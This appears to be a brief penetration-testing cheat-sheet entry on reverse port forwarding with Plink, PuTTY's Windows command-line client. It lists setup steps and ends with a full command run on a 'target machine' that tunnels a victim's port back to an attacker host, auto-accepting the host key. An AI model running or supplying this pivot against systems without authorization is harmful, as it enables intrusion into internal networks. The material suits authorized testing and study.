Port Forwarding with Plink
Plink is a Windows command line version of the PuTTY SSH client.
Reverse Connection
1. Open Lisnter in Your Local Machine
2. Run Reverse Connection in Target Machine
First of all, generate SSH keys. Two keys (public and private) will be generated.
Convert the private key for Windows.
Run reverse connection using plink.
cmd.exe /c echo y | .\plink.exe -R <attack-port>:<victim-ip>:<victim-port> attacker@<attack-ip> -i private_key.ppk -N